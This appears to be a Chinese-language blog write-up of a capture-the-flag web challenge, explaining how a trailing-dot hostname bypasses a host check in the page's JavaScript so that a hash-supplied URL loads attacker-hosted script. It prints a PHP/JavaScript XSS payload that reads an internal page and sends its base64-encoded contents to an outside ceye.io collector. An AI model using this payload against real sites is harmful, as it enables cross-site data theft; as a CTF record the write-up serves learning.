美文网首页
空指针第一次WEB公开赛(记录一下XSS)

空指针第一次WEB公开赛(记录一下XSS)

作者: Err0rzz | 来源:发表于2020-04-24 12:14 被阅读0次

    感谢@王师傅的细心指导。

    整体的流程如下图(将就着看):

    首先解决第一个问题:因为同源策略Server不能执行Client域下的hint.php脚本。
    这里可以通过在hint.php加入CORS头来完成跨域请求。header("Access-Control-Allow-Origin: *");

    然后第二个问题,如何Server如何发出请求?
    根据题目提示,F12看源码JS发现了以下代码:

    #custom.js
    /**
     *
     * You can write your JS code here, DO NOT touch the default style file
     * because it will make it harder for you to update.
     * 
     */
    
    function isProd(){
        return window.location.host=='treasure.npointer.cn';
    }
    
    function loadPage() {
        if (!window.location.hash) {
            window.location.hash = '#home'
        }
    
        url = window.location.hash.substring(1)+'.html';
        //调试太麻烦了,日常测试放开限制
        if(isProd()) {
            url = window.location.origin + '/' + url;
        }
        $.get(url, function(result){
            $("#content").html(result);
        });
    
    }
    
    window.addEventListener('hashchange',function(event){
       loadPage();
    });
    
    loadPage();
    

    我们需要控制url值,也就是说

        if(isProd()) {
            url = window.location.origin + '/' + url;
        }
    

    我们不能进入上述的if语句中。

    1. 传入url=http://treasure.npointer.cn./index.html#http://47.244.179.133/hint.php#test
    2. 此时上述代码中window.location.hash取到第一个锚点后的值http://vps/hint.php#test
    3. 然后url拼接成http://vps/hint.php#test.html,此时根据锚点的意义,仍会执行hint.php

    在第1步中,isProd()函数中window.location.host的值为treasure.npointer.cn.,多了个点.会影响等号判断,返回否。但是在解析的时候,并不会收到任何影响,所以前段JS仍会将请求发给Server,让它去完成一开始图中的步骤。

    vps上的hint.php如下:

     <?php
     header("Access-Control-Allow-Origin: *");
     echo '<script type="text/javascript">
         var xhr = new XMLHttpRequest();
         xhr.onreadystatechange = function() {
         if(xhr.readyState === 4) {
         document.location="http://xxxx.ceye.io/?"+btoa(xhr.responseText);
         }
               }
           xhr.open("GET", "http://treasure.npointer.cn./hint.html",true);
           xhr.send()
           </script>
            ';
    

    ceye接收到的结果如下(有延迟,我一直以为自己哪里写错了,贼坑):

    CiAgICA8aDEgY2xhc3M9InNlY3Rpb24taGVhZGVyIj4KICAgICAgICA8ZGl2PkhpbnQ8L2Rpdj4KICAgIDwvaDE+CiAgICA8ZGl2IGNsYXNzPSJzZWN0aW9uLWJvZHkiPgogICAgICAgIDxkaXYgY2xhc3M9ImNhcmQiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWJvZHkiPgogICAgICAgICAgICAgICAgPGg0PlNvdXJjZSBDb2RlczogaHR0cHM6Ly9hdHRhY2htZW50Lm5wb2ludGVyLmNuLzEvdHJlYXN1cmUtMmIyNGU4MjFmNGQ4NTUzMDYwZWJhNTFmOTliMmQxMWIuemlwPC9oND4KICAgICAgICAgICAgICAgIDxoND5KYXZhOiAxLjguMF8yMzI8L2g0PgogICAgICAgICAgICAgICAgPGg0PkZsYWc6IC9mbGFnL2ZsYWcxMDI0PC9oND4KICAgICAgICAgICAgPC9kaXY+CgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+Cgo=
    

    接下来是Java的内容了,因为不是很懂,所有等以后有时间慢慢调试吧

    未完待续

    相关文章

      网友评论

          本文标题:空指针第一次WEB公开赛(记录一下XSS)

          本文链接:https://www.haomeiwen.com/subject/xruaoctx.html